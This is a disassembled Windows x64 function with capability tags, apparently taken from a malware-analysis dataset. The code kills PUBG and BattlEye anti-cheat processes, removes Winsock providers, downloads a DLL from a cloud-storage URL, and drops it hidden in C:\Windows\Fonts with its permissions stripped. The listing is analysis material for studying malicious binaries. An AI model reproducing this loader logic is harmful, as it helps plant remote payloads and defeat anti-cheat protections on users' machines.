Function at 0x14010bf10
Capabilities:
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Set file attributes
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6b0]
sub rsp, 0x7b0
xor r12d, r12d
mov dword [rsp + 0x48], r12d
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_WSCEnumProtocols]
cmp eax, 0xffffffff
jne 0x14010bf6c
cmp dword [rsp + 0x58], 0x2747
je 0x14010bf6c
mov esi, r12d
mov r8d, dword [rsp + 0x50]
jmp 0x14010bf96
mov edx, dword [rsp + 0x48]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x48]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_WSCEnumProtocols]
mov r8d, eax
mov ecx, r12d
test r8d, r8d
jle 0x14010c02f
mov r9, qword [0x140159d88]
mov r10, qword [0x140159d80]
movsxd rdx, ecx
imul rax, rdx, 0x274
cmp r10, qword [rax + rsi + 0x14]
jne 0x14010bfcc
cmp r9, qword [rax + rsi + 0x1c]
je 0x14010c154
inc ecx
cmp ecx, r8d
jl 0x14010bfb0
mov r15d, dword [rsp + 0x50]
mov edi, r12d
movsxd r14, r8d
test r8d, r8d
jle 0x14010c01d
lea rbx, [rsi + 0x2c]
cmp dword [rbx - 4], 1
jle 0x14010c00e
cmp dword [rbx], r15d
jne 0x14010c00e
movsxd rax, edi
imul rcx, rax, 0x274
add rcx, 0x14
add rcx, rsi
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSCDeinstallProvider]
inc edi
add rbx, 0x274
sub r14, 1
jne 0x14010bfe7
lea rdx, [rsp + 0x40]
lea rcx, [0x140159d80]
call qword [sym.imp.WS2_32.dll_WSCDeinstallProvider]
lea rcx, str.taskkill__f__im_ExecPubg.exe
call fcn.14010ccb0
lea rcx, str.taskkill__f__im_TslGame.exe
call fcn.14010ccb0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__f__im_ucldr_battlegrounds_gl.exe
call fcn.14010ccb0
lea rcx, str.taskkill__f__im_zksvc.exe
call fcn.14010ccb0
lea rcx, str.taskkill__f__im_BEService.exe
call fcn.14010ccb0
lea rcx, str.taskkill__f__im_beservice.exe
call fcn.14010ccb0
mov dword [rsp + 0x50], r12d
mov ecx, 0x5a00000
call fcn.140056400
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xa0]
call fcn.14005acb0
xor eax, eax
mov dword [rsp + 0x40], eax
mov word [rsp + 0x44], ax
xor ecx, ecx
call fcn.1400aecc0
mov rcx, rax
call fcn.140075840
nop
mov qword [rbp - 0x70], r12
mov ecx, 0x10
call fcn.140056390
mov qword [rax + 8], r12
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov r13d, r12d
movabs r15, 0x7fffffffffffffff
nop dword [rax + rax]
call fcn.140075800
mov r14d, eax
mov eax, 0x4ec4ec4f
imul r14d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r14d, ecx
add r14b, 0x61
mov rdi, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x58]
cmp rdi, rsi
jae 0x14010c165
lea rax, [rdi + 1]
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x70]
cmp rsi, 0x10
cmovae rax, qword [rbp - 0x70]
mov byte [rax + rdi], r14b
mov byte [rax + rdi + 1], 0
jmp 0x14010c364
imul rax, rdx, 0x274
mov r15d, dword [rax + rsi + 0x24]
jmp 0x14010bfd8
mov rax, r15
sub rax, rdi
cmp rax, 1
jb 0x14010cad1
lea r12, [rdi + 1]
mov rbx, r12
or rbx, 0xf
mov qword [rsp + 0x48], rbx
cmp rbx, r15
jbe 0x14010c18f
mov rbx, r15
jmp 0x14010c1b5
mov rcx, rsi
shr rcx, 1
mov rax, r15
sub rax, rcx
cmp rsi, rax
jbe 0x14010c1a5
mov rbx, r15
jmp 0x14010c1b5
lea rax, [rsi + rcx]
mov qword [rsp + 0x48], rax
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14000f380
mov r15, rax
mov edx, 3
lea rcx, [rsp + 0x40]
call fcn.1400139a0
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14010c214
cmp qword [rdx + 8], 0
je 0x14010c20c
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rdx + 8]
mov qword [rax], r8
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14010c1f0
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], 0
lea rcx, [rsp + 0x40]
call fcn.140013ad0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], rbx
mov r8, rdi
mov rcx, r15
cmp rsi, 0x10
jb 0x14010c343
mov rbx, qword [rbp - 0x70]
mov rdx, rbx
call fcn.14005a600
mov byte [r15 + rdi], r14b
mov byte [r15 + rdi + 1], 0
inc rsi
cmp rsi, 0x1000
jb 0x14010c336
add rsi, 0x2f
mov rdi, qword [rbx - 8]
movabs rax, 0xfafafafafafafafa
lea r14, [0x140142938]
lea r12, [0x14014294c]
cmp qword [rbx - 0x10], rax
je 0x14010c2d4
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0x9a
lea rdx, [0x140142950]
lea ecx, [r9 + 2]
call fcn.140074a20
cmp eax, 1
jne 0x14010c2ab
int3
mov qword [rsp + 0x20], 0
mov r9d, 0x9a
lea r8, [0x140142980]
lea rdx, [0x1401429e0]
lea rcx, [0x1401429e8]
call fcn.1400755a0
sub rbx, rdi
lea rax, [rbx - 0x10]
cmp rax, 0x1f
jbe 0x14010c333
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xa4
lea rdx, [0x140142950]
lea ecx, [r9 + 2]
call fcn.140074a20
cmp eax, 1
jne 0x14010c30a
int3
mov qword [rsp + 0x20], 0
mov r9d, 0xa4
lea r8, [0x140142980]
lea rdx, [0x1401429e0]
lea rcx, [0x1401429e8]
call fcn.1400755a0
mov rbx, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.1400563e0
jmp 0x14010c356
lea rdx, [rbp - 0x70]
call fcn.14005a600
mov byte [r15 + rdi], r14b
mov byte [r15 + rdi + 1], 0
mov qword [rbp - 0x70], r15
movabs r15, 0x7fffffffffffffff
inc r13d
cmp r13d, 0x10
jl 0x14010c100
xor r12d, r12d
mov qword [rbp + 8], r12
lea ecx, [r12 + 0x10]
call fcn.140056390
lea rcx, [rbp]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp], rax
mov qword [rbp + 0x20], 0xf
mov r15d, 1
mov qword [rbp + 0x18], r15
movzx eax, byte [0x140142cac]
mov byte [rbp + 8], al
mov byte [rbp + 9], r12b
mov qword [rbp + 0x30], r12
lea ecx, [r12 + 0x10]
call fcn.140056390
lea rcx, [rbp + 0x28]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x48], 0xf
mov qword [rbp + 0x40], 4
mov eax, dword [str..dll]
mov dword [rbp + 0x30], eax
mov byte [rbp + 0x34], r12b
lea rdx, [rbp + 0xa0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov rsi, 0xffffffffffffffff
mov r9d, esi
lea r8, [rbp + 0xa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
lea ecx, [rax + 1]
movsxd rbx, ecx
mov rcx, rbx
call fcn.140056400
mov r14, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.14005acb0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9d, esi
lea r8, [rbp + 0xa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rbp + 0x80], r12
lea ecx, [rsi + 0x11]
call fcn.140056390
lea rcx, [rbp + 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
inc rsi
cmp byte [r14 + rsi], r12b
jne 0x14010c4a3
mov r8, rsi
mov rdx, r14
lea rcx, [rbp + 0x78]
call fcn.14000c280
mov rcx, r14
call fcn.140056370
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
mov ecx, 0x10
call fcn.140056390
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp - 0x50], rax
mov rdi, qword [rbp + 0x90]
lea rsi, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rsi, qword [rbp + 0x80]
movabs r14, 0x7fffffffffffffff
cmp rdi, 0x10
jae 0x14010c527
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x30], 0xf
jmp 0x14010c555
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
call fcn.14000f380
mov qword [rbp - 0x48], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14005a600
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x38], rdi
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp]
call fcn.14000c3f0
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rdx, qword [rbp + 8]
mov r8, qword [rbp + 0x18]
lea rcx, [rbp - 0x50]
call fcn.14000c3f0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
lea rcx, [rbp - 0x50]
call fcn.14000c3f0
mov r13, qword [rbp - 0x60]
mov rax, r14
sub rax, r13
cmp rax, 0x11
jae 0x14010c5c0
call fcn.140001f00
int3
lea r14, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae r14, qword [rbp - 0x70]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
lea rsi, [r13 + 0x11]
mov ebx, 0xf
lea rdi, [rsp + 0x68]
lea ecx, [rbx + 1]
call fcn.140056390
lea rcx, [rsp + 0x60]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rsp + 0x60], rax
cmp rsi, rbx
jbe 0x14010c650
mov rbx, rsi
cmp rsi, 0x10
cmovb rbx, qword [0x140143d38]
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x14010c633
mov rbx, rax
jmp 0x14010c63f
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14000f380
mov rdi, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rbx
movups xmm0, xmmword [str.C:WindowsFonts_]
movups xmmword [rdi], xmm0
movzx ecx, byte [0x1401431c8]
mov byte [rdi + 0x10], cl
lea rcx, [rdi + 0x11]
mov r8, r13
mov rdx, r14
call fcn.14005a600
mov byte [rdi + rsi], r12b
mov r8d, 4
lea rdx, str..DLL
lea rcx, [rsp + 0x60]
call fcn.14000c3f0
mov rbx, rax
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov ecx, 0x10
call fcn.140056390
mov qword [rax + 8], r12
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x28]
mov qword [rax], rcx
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.14000c6b0
nop
mov edx, 3
lea rcx, [rsp + 0x40]
call fcn.1400139a0
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14010c711
cmp qword [rdx + 8], 0
je 0x14010c70d
nop dword [rax]
mov rax, qword [rdx + 8]
mov qword [rax], r12
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14010c6f0
mov rdx, qword [rsp + 0x60]
mov qword [rdx + 8], r12
lea rcx, [rsp + 0x40]
call fcn.140013ad0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14010c732
inc rdx
mov rcx, qword [rsp + 0x68]
call fcn.14000f480
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x60], r12
mov edx, 0x10
call fcn.14000f480
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], r12
mov ecx, 0x10
call fcn.140056390
lea rcx, [rbp + 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp + 0x50], rax
mov rdi, qword [rbp - 0x38]
lea rsi, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rsi, qword [rbp - 0x48]
cmp rdi, 0x10
jae 0x14010c7a6
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x70], 0xf
jmp 0x14010c7de
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
call fcn.14000f380
mov qword [rbp + 0x58], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14005a600
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x68], rdi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000a870
mov rcx, rax
call fcn.14010d6b0
mov rcx, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
mov dword [rsp + 0x48], r15d
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x14010caad
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__xiafa6.oss_cn_hangzhou.aliyuncs.com_ZS.dll
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
mov r13, qword [rsp + 0x58]
test rax, rax
je 0x14010c8e3
mov edi, ebx
cmp dword [rsp + 0x48], ebx
jbe 0x14010c8da
cmp edi, 0x5a00000
jae 0x14010c8d8
lea r9, [rsp + 0x48]
mov r8d, 0x3ff
lea rdx, [rbp + 0x2b0]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [rsp + 0x48]
mov r8d, ebx
movsxd rcx, edi
add rcx, r13
lea rdx, [rbp + 0x2b0]
call fcn.14005a600
add edi, ebx
mov r15d, edi
test ebx, ebx
jne 0x14010c893
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp r15d, 0x1000
jb 0x14010caad
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x50]
mov r8d, r15d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r15d
xor edx, edx
mov rcx, r13
call fcn.14005acb0
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000a870
mov rcx, rax
call fcn.14010d6b0
mov rcx, rax
call fcn.14010e980
xor ecx, ecx
test eax, eax
jne 0x14010c9ee
xor r9d, r9d
lea r8, [0x140143454]
lea rdx, [0x140143918]
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000a870
mov rcx, rax
call fcn.14010d6b0
mov rcx, rax
mov edx, 3
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000dc30
lea rcx, [rsp + 0x60]
call fcn.140007810
movzx ebx, al
lea rcx, [rsp + 0x60]
call fcn.1400056c0
test bl, bl
je 0x14010c9e2
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000dc30
lea rcx, [rsp + 0x60]
call fcn.140007b50
lea rcx, [rsp + 0x60]
call fcn.1400056c0
lea rdx, [0x140143538]
jmp 0x14010ca87
lea rdx, [0x140143628]
jmp 0x14010ca87
mov r9d, 0x40
lea r8, [0x140143708]
lea rdx, [0x140143858]
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000a870
mov rcx, rax
call fcn.14010d6b0
mov rcx, rax
mov edx, 3
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000dc30
lea rcx, [rsp + 0x60]
call fcn.140007810
movzx ebx, al
lea rcx, [rsp + 0x60]
call fcn.1400056c0
test bl, bl
je 0x14010ca80
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14000dc30
lea rcx, [rsp + 0x60]
call fcn.140007b50
lea rcx, [rsp + 0x60]
call fcn.1400056c0
lea rdx, str.Permissions_set_to_none_successfully.
jmp 0x14010ca87
lea rdx, str.File_does_not_exist.
lea rcx, [0x14015b260]
call fcn.14000ddd0
mov rcx, rax
call fcn.1400094b0
call fcn.14010cae0
call fcn.14010cd70
xor ecx, ecx
call fcn.140072bf0
int3
mov r9d, 0x40
lea r8, str.Title
lea rdx, str.d_driver_Error__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.140072bf0
int3
call fcn.140001f00
int3